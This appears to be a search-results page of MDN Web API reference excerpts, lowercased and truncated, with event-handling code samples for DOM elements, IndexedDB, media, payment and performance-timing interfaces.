... document.getelementbyid(id) document.getelementsbytagname(name) document.createelement(name) parentnode.appendchild(node) element.innerhtml element.style.left element.setattribute() element.getattribute() element.addeventlistener() window.content window.onload window.scrollto() testing the dom api this document provides samples for every interface that you can use in your own web development.
Element.hasPointerCapture() - Web APIs
syntax targetelement.haspointercapture(pointerid); parameters pointerid the pointerid of a pointerevent object.
... examples <html> <script> function downhandler(ev) { const el = document.getelementbyid("target"); // element 'target' will receive/capture further events el.setpointercapture(ev.pointerid); /* ...
... } } function init() { const el = document.getelementbyid("target"); el.onpointerdown = downhandler; } </script> <body onload="init();"> <div id="target">touch this element with a pointer.</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'haspointercapture()' in that specification.
Using Fetch - Web APIs
instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything prevented the request from completing.
... they can also be created programmatically via javascript, but this is only really useful in serviceworkers, when you are providing a custom response to a received request using a respondwith() method: const mybody = new blob(); addeventlistener('fetch', function(event) { // serviceworker intercepting a fetch event.respondwith( new response(mybody, { headers: { 'content-type': 'text/plain' } }) ); }); the response() constructor takes two optional arguments — a body for the response, and an init object (similar to the one that request() accepts.) note: the static method error() simply returns an error ...
...these all return a promise that is eventually resolved with the actual content.
FontFaceSet - Web APIs
events fontfaceset.onloading an eventlistener called whenever an event of type loading is fired, indicating a font-face set has started loading.
... fontfaceset.onloadingdone an eventlistener called whenever an event of type loadingdone is fired, indicating that a font face set has finished loading.
... fontfaceset.onloadingerror an eventlistener called whenever an event of type loadingerror is fired, indicating that an error occurred whilst loading a font-face set.
GeolocationCoordinates.longitude - Web APIs
javascript the javascript code below creates an event listener so that when the user clicks on a button, the location information is retrieved and displayed.
... let button = document.getelementbyid("get-location"); let lattext = document.getelementbyid("latitude"); let longtext = document.getelementbyid("longitude"); button.addeventlistener("click", function() { navigator.geolocation.getcurrentposition(function(position) { let lat = position.coords.latitude; let long = position.coords.longitude; lattext.innertext = lat.tofixed(2); longtext.innertext = long.tofixed(2); }); }); after setting up variables to more conveniently reference the button element and the two elements into which the latitude and logitude will be drawn, the event listener is established by calling addeventlistener() on the <button> element.
... upon receiving a click event, we call getcurrentposition() to request the device's current position.
Audio() - Web APIs
listen for the canplay event.
... listen for the canplaythrough event.
... the event-based approach is best: myaudioelement.addeventlistener("canplaythrough", event => { /* the audio is now playable; play it if permissions allow */ myaudioelement.play(); }); memory usage and management if all references to an audio element created using the audio() constructor are deleted, the element itself won't be removed from memory by the javascript runtime's garbage collection mechanism if playback is currently underway.
HTMLCanvasElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/htmlcanvaselement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlcanvaselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
... events listen to these events using addeventlistener().
HTMLDialogElement - Web APIs
meet"><a xlink:href="/docs/web/api/htmldialogelement" target="_top"><rect x="1" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="86" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldialogelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
... events close fired when the dialog is closed.
... var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
HTMLElement.click() - Web APIs
WebAPIHTMLElementclick
when click() is used with supported elements (such as an <input>), it fires the element's click event.
... this event then bubbles up to elements higher in the document tree (or event chain) and fires their click events.
... syntax element.click() example simulate a mouse-click when moving the mouse pointer over a checkbox: html <form> <input type="checkbox" id="mycheck" onmouseover="myfunction()" onclick="alert('click event occured')"> </form> javascript // on mouse-over, execute myfunction function myfunction() { document.getelementbyid("mycheck").click(); } specification specification status comment html living standard living standard document object model (dom) level 2 html specification obsolete initial definition.
HTMLIFrameElement.setNfcFocus() - Web APIs
the setnfcfocus() method of the htmliframeelement interface sets whether an <iframe> can receive an nfc event.
... parameters a boolean indicating whether the <iframe> can receive an nfc event.
... default is false; set to true to allow it to receive nfc events.
HTMLMediaElement.onerror - Web APIs
the onerror property of the htmlmediaelement interface is the eventhandler for processing error events.
... the error event fires when some form of error occurs while attempting to load or perform the media.
... syntax htmlmediaelement.onerror = eventlistener; value a function which serves as the event handler for the error event.
HTMLMedia​Element​.textTracks - Web APIs
you can detect when tracks are added to and removed from an <audio> or <video> element using the addtrack and removetrack events.
... however, these events aren't sent directly to the media element itself.
... see event handlers in texttracklist to learn more about watching for changes to a media element's track list.
HTMLOutputElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/htmloutputelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloutputelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, htmlelement.
...if there are problems, fires an invalid event at the element, and returns false; if there are no problems, it returns true.
HTMLSelectElement.selectedOptions - Web APIs
javascript the javascript code that establishes the event handler for the button, as well as the event handler itself, looks like this: let orderbutton = document.getelementbyid("order"); let itemlist = document.getelementbyid("foods"); let outputbox = document.getelementbyid("output"); orderbutton.addeventlistener("click", function() { let collection = itemlist.selectedoptions; let output = ""; for (let i=0; i<collection.length; i++) { if ...
...].label; if (i === (collection.length - 2) && (collection.length < 3)) { output += " and "; } else if (i < (collection.length - 2)) { output += ", "; } else if (i === (collection.length - 2)) { output += ", and "; } } if (output === "") { output = "you didn't order anything!"; } outputbox.innerhtml = output; }, false); this script sets up a click event listener on the "order now" button.
... when clicked, the event handler fetches the list of selected options using selectedoptions, then iterates over the options in the list.
HTMLVideoElement.videoHeight - Web APIs
if at any time the intrinsic size of the media changes and the element's readystate isn't have_nothing, a resize event will be sent to the <video> element.
... example this example creates a handler for the resize event that resizes the <video> element to match the intrinsic size of its contents.
... let v = document.getelementbyid("myvideo"); v.addeventlistener("resize", ev => { let w = v.videowidth; let h = v.videoheight; if (w && h) { v.style.width = w; v.style.height = h; } }, false); note that this only applies the change if both the videowidth and the videoheight are non-zero.
HTMLVideoElement.videoWidth - Web APIs
if at any time the intrinsic size of the media changes and the element's readystate isn't have_nothing, a resize event will be sent to the <video> element.
... example this example creates a handler for the resize event that resizes the <video> element to match the intrinsic size of its contents.
... let v = document.getelementbyid("myvideo"); v.addeventlistener("resize", ev => { let w = v.videowidth; let h = v.videoheight; if (w && h) { v.style.width = w; v.style.height = h; } }, false); note that this only applies the change if both the videowidth and the videoheight are non-zero.
Ajax navigation example - Web APIs
aaacwaaaaaeaaqaaadmwi6imkqorfjdoe82p4wgccc4ceuqradylesojembgsuc2g7sdx3lqgbmlajibufbslkaaah+qqjcgaaacwaaaaaeaaqaaadmgi63p7wcrhznfvdmghu2nfwlwci3wgc3tswhufgxtaukgcbtgenbmjaejsxgmlwzpeaach5bakkaaaalaaaaaaqabaaaamyclrc/jdksatlqtsckdcecajdii7hcq4emtcpyrcuubjcyrghvtqlaib1yhicnlsrkaaaowaaaaaaaaaaaa=="; ocover.appendchild(oloadingimg); oloadingbox.appendchild(ocover); onpopstate = function (oevent) { bupdateurl = false; opageinfo.title = oevent.state.title; opageinfo.url = oevent.state.url; getpage(); }; window.addeventlistener ?
... addeventlistener("load", init, false) : window.attachevent ?
... attachevent("onload", init) : (onload = init); // public methods this.open = requestpage; this.stop = abortreq; this.rebuildlinks = init; })(); for more information, please see: working with the history api.
IDBDatabase.onabort - Web APIs
the onabort event handler of the idbdatabase interface handles the abort event, fired when a transaction is aborted and bubbles up to the connection object.
... syntax idbdatabase.onabort = function(event) { ...
... dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function() { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function() { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "...
IDBDatabase.onerror - Web APIs
the onerror event handler of the idbdatabase interface handles the error event, fired when a request returns an error and bubbles up to the connection object.
... syntax idbdatabase.onerror = function(event) { ...
... dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", ...
FileHandle.onabort - Web APIs
summary specifies an event listener to receive abort events.
... these events occur when the associated locked file has been aborted with the lockedfile.abort() method.
... syntax instanceoffilehandle.onabort = funcref; where funcref is a function to be called when the abort event occurs.
FileHandle.onerror - Web APIs
summary specifies an event listener to receive error events.
... these events occur when something goes wrong.
... syntax instanceoffilehandle.onerror = funcref; where funcref is a function to be called when the error event occurs.
IDBObjectStore.autoIncrement - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...y to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.autoincrement); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'autoincrement' in that specification.
IDBObjectStore.createIndex() - Web APIs
for a full working example, see our to-do notifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // two event handlers for opening the database.
... dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.
IDBObjectStore.indexNames - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...y to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.indexnames); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'indexnames' in that specification.
IDBObjectStore.keyPath - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...y to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.keypath); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'keypath' in that specification.
IDBObjectStore.name - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...y to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.name); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'name' in that specification.
IDBObjectStore.openCursor() - Web APIs
to determine if the add operation has completed successfully, listen for the results’s success event.
... return value an idbrequest object on which subsequent events related to this operation are fired.
... example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store: var transaction = db.transaction("name", "readonly"); var objectstore = transaction.objectstore("name"); var request = objectstore.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { // cursor.value contains the current record being iterated through // this is where you'd do something with the result cursor.continue(); } else { // no more results } }; specification specification status comment indexed database api 2.0the definition of 'opencursor()' in that specification.
IDBObjectStore.openKeyCursor() - Web APIs
to determine if the add operation has completed successfully, listen for the results’s success event.
... return value an idbrequest object on which subsequent events related to this operation are fired.
... example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store: var transaction = db.transaction("name", "readonly"); var objectstore = transaction.objectstore("name"); var request = objectstore.openkeycursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { // cursor.key contains the key of the current record being iterated through // note that there is no cursor.value, unlike for opencursor // this is where you'd do something with the result cursor.continue(); } else { // no more results } }; specifications specification status comment indexed da...
IDBObjectStore.transaction - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...y to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.transaction); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'transaction' in that specification.
IDBRequest.onsuccess - Web APIs
the onsuccess event handler of the idbrequest interface handles the success event, fired when the result of a request is successfully returned.
... the event handler takes one parameter, a success event with type="success".
... syntax request.onsuccess = function(event) { ...
IDBTransaction.commit() - Web APIs
commit() can be used to start the commit process without waiting for events from outstanding requests to be dispatched.
... examples // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["mydb"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("myobjstore"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // force the changes to be committed to the database asap transaction.commit(); specification specification status comment indexed database api draftthe definition of 'idbtransaction.commit()' in that specification.
InputDeviceCapabilities - Web APIs
the inputdevicecapabilities interface of the input device capabilities api provides information about the physical device or a group of related devices responsible for generating input events.
... events caused by the same physical input device get the same instance of this object, but the converse isn't true.
... properties inputdevicecapabilities.firestoucheventsread only a boolean that indicates whether the device dispatches touch events.
Intersection Observer API - Web APIs
implementing intersection detection in the past involved event handlers and loops calling methods like element.getboundingclientrect() to build up the needed information for every element affected.
... const numsteps = 20.0; let boxelement; let prevratio = 0.0; let increasingcolor = "rgba(40, 40, 190, ratio)"; let decreasingcolor = "rgba(190, 40, 40, ratio)"; // set things up window.addeventlistener("load", (event) => { boxelement = document.queryselector("#box"); createobserver(); }, false); the constants and variables we set up here are: numsteps a constant which indicates how many thresholds we want to have between a visibility ratio of 0.0 and 1.0.
... we call window.addeventlistener() to start listening for the load event; once the page has finished loading, we get a reference to the element with the id "box" using queryselector(), then call the createobserver() method we'll create in a moment to handle building and installing the intersection observer.
LockedFile.onabort - Web APIs
summary specifies an event listener to receive abort events.
... these events occur when the locked file has been aborted with the lockedfile.abort() method.
... syntax instanceoflockedfile.onabort = funcref; where funcref is a function to be called when the abort event occurs.
LockedFile.oncomplete - Web APIs
summary specifies an event listener to receive complete events.
... these events occur each time a read or write operation is successful.
... syntax instanceoflockedfile.oncomplete = funcref; where funcref is a function to be called when the complete event occurs.
LockedFile.onerror - Web APIs
summary specifies an event listener to receive error events.
... these events occur when something goes wrong.
... syntax instanceoflockedfile.onerror = funcref; where funcref is a function to be called when the error event occurs.
LockedFile - Web APIs
events handler lockedfile.oncomplete the complete event is triggered each time a read or write operation is successful.
... lockedfile.onabort the abort event is triggered each time the abort() method is called.
... lockedfile.onerror the error event is triggered each time something goes wrong.
MediaDevices - Web APIs
properties inherits properties from its parent interface, eventtarget.
... events devicechange fired when a media input or output device is attached to or removed from the user's computer.
... methods inherits methods from its parent interface, eventtarget.
msExtendedCode - Web APIs
in the event of an error, the media element's error event will be fired.
... example var video1 = object.getelementbyid("video1"); video1.addeventlistener('error', function () { var error = video1.error.msextendedcode; //...
... }, false); video.addeventlistener('canplay', function () { video1.play(); }, false); ...
MediaQueryList.addListener() - Web APIs
this is basically an alias for eventtarget.addeventlistener(), for backwards compatibility purposes.
... older browsers should use addlistener instead of addeventlistener since mediaquerylist only inherits from eventtarget in newer browsers.
...in the new implementation the standard event mechanism is used, the callback is a standard function, and the event object is a mediaquerylistevent, which inherits from event.
MediaQueryList.onchange - Web APIs
the onchange property of the mediaquerylist interface is an event handler property representing a function that is invoked when the change event fires, i.e when the status of media query support changes.
... the event object is a mediaquerylistevent instance, which is recognised as a medialistquery instance in older browsers, for backwards compatibility purposes.
...}; example var mql = window.matchmedia('(max-width: 600px)'); mql.addeventlistener( "change", (e) => { if (e.matches) { /* the viewport is 600 pixels wide or less */ console.log('this is a narrow screen — less than 600px wide.') } else { /* the viewport is more than than 600 pixels wide */ console.log('this is a wide screen — more than 600px wide.') } }) specifications specification status comment css object model (cssom) view modulethe definition of 'onchange' in that specification.
MediaRecorder.onwarning - Web APIs
the mediarecorder.onwarning event handler (part of the mediarecorder api) handles the recordingwarning event, allowing you to run code in response to non-fatal errors being thrown during media recording via a mediarecorder, which don't halt recording.
... syntax mediarecorder.onwarning = function(event) { ...
... } mediarecorder.addeventlistener('warning', function(event) { ...
Media Capture and Streams API (Media Stream) - Web APIs
it provides the interfaces and methods for working with the streams and their constituent tracks, the constraints associated with data formats, the success and error callbacks when using the data asynchronously, and the events that are fired during the process.
... blobevent canvascapturemediastreamtrack inputdeviceinfo mediadevicekind mediadeviceinfo mediadevices mediastream mediastreamconstraints mediastreamevent mediastreamtrack mediastreamtrackevent mediatrackconstraints mediatracksettings mediatracksupportedconstraints overconstrainederror url early versions of the media capture and streams api specification included separate audiostreamt...
... events addtrack ended muted overconstrained removetrack started unmuted guides and tutorials the articles below provide additional guidance and how-to information that will help you learn to use the api, and how to perform specific tasks that you may wish to handle.
Navigator.getBattery() - Web APIs
it returns a battery promise, which is resolved in a batterymanager object providing also some new events you can handle to monitor the battery status.
... example this example fetches the current charging state of the battery and establishes a handler for the chargingchange event, so that the charging state is recorded whenever it changes.
... let batteryischarging = false; navigator.getbattery().then(function(battery) { batteryischarging = battery.charging; battery.addeventlistener('chargingchange', function() { batteryischarging = battery.charging; }); }); for more examples and details, see battery status api.
Navigator.sendBeacon() - Web APIs
historically, this was addressed with some of the following workarounds to delay the page unload long enough to send data to some url: submitting the data with a blocking synchronous xmlhttprequest call in unload or beforeunload event handlers.
... window.addeventlistener("unload", function logdata() { var xhr = new xmlhttprequest(); xhr.open("post", "/log", false); // third parameter of `false` means synchronous xhr.send(analyticsdata); }); this is what sendbeacon() replaces.
... window.addeventlistener("unload", function logdata() { navigator.sendbeacon("/log", analyticsdata); }); the beacon sends an http request via the post method, with all relevant cookies available when called.
NetworkInformation - Web APIs
properties this interface also inherits properties of its parent, eventtarget.
...it will be one of the following values: bluetooth cellular ethernet none wifi wimax other unknown event handlers networkinformation.onchange the event that's fired when connection information changes and the change is fired on this object.
... methods this interface also inherits methods of its parent, eventtarget.
Node - Web APIs
WebAPINode
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
..." y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties in addition to the properties below, node inherits properties from its parent, eventtarget.
... methods in addition to the properties below, node inherits methods from its parent, eventtarget.
Notification.close() - Web APIs
note: this api shouldn't be used just to have the notification removed from the screen after a fixed delay since this method will also remove the notification from any notification tray, preventing users from interacting with it after it was initially shown.
...at the end of the function, it also calls close() inside a addeventlistener() function to remove the notification when the relevant content has been read on the webpage.
... function spawnnotification(thebody, theicon, thetitle) { var options = { body: thebody, icon: theicon }; var n = new notification(thetitle,options); document.addeventlistener('visibilitychange', function() { if (document.visibilitystate === 'visible') { // the tab has become visible so clear the now-stale notification.
PaymentRequest.show() - Web APIs
it may only be called while handling events that represent user interactions, such as click, keyup, or the like.
... return value a promise that eventually resolves with a paymentresponse.
... securityerror the promise rejects with a securityerror if the call to show() was not in response to a user action, such as a click or keyup event.
PaymentResponse.retry() - Web APIs
tor); promisestofixthings.push(promise); } if (errors.payer) { // "payerdetailchange" fired at response object const promise = fixfield(response, "payerdetailchange", payervalidator); promisestofixthings.push(promise); } await promise.all([response.retry(errors), ...promisestofixthings]); await recursivevalidate(request, response); } function fixfield(requestorresponse, event, validator) { return new promise(resolve => { // browser keeps calling this until promise resolves.
... requestorresponse.addeventlistener(event, async function listener(ev) { const promisetovalidate = validator(requestorresponse); ev.updatewith(promisetovalidate); const errors = await promisetovalidate; if (!errors) { // yay!
... event.removeeventlistener(event, listener); resolve(); } }); }); } dopaymentrequest(); specifications specification status comment payment request apithe definition of 'retry()' in that specification.
Payment processing concepts - Web APIs
in the end, the only thing that the web site or app is responsible for is fetching the merchant's validation key and passing it into the event's complete() method.
... paymentrequest.onmerchantvalidation = function(event) { event.complete(fetchvalidationdata(event.validationurl)); } in this example, fetchvalidationdata() is a function which loads the payment handler specific identifying information from the address given by validationurl.
... thus, it's important to note that the user agent never sends a merchantvalidation event, unless the user agent itself implements a payment handler.
PeformanceObserver.disconnect() - Web APIs
the disconnect() method of the performanceobserver interface is used to stop the performance observer from receiving any performance entry events.
... syntax performanceobserver.disconnect(); example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event // ...
... // disable additional performance events observer.disconnect(); } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'disconnect()' in that specification.
PerformanceResourceTiming.initiatorType - Web APIs
the initiatortype read-only property is a string that represents the type of resource that initiated the performance event.
... syntax resource.initiatortype; return value a string representing the type of resource that initiated the performance event, as specified above.
... example function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_initiatortype(p[i]); } } function print_initiatortype(perfentry) { // print this performance entry object's initiatortype value var value = "initiatortype" in perfentry; if (value) console.log("...
PerformanceResourceTiming.workerStart - Web APIs
the workerstart read-only property of the performanceresourcetiming interface returns a domhighrestimestamp immediately before dispatching the fetchevent if a service worker thread is already running, or immediately before starting the service worker thread if it is not already running.
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart", "workerstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry;...
PerformanceResourceTiming - Web APIs
the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect start and end times, fetch start, dns lookup start and end times, response start and end times, etc..
...="/docs/web/api/performanceresourcetiming" target="_top"><rect x="201" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceresourcetiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: this feature is available in web workers.
... performanceresourcetiming.workerstartread only returns a domhighrestimestamp immediately before dispatching the fetchevent if a service worker thread is already running, or immediately before starting the service worker thread if it is not already running.
PushMessageData.json() - Web APIs
syntax var mydata = pushevent.data.json(); parameters none.
... returns the result of parsing push event data as json.
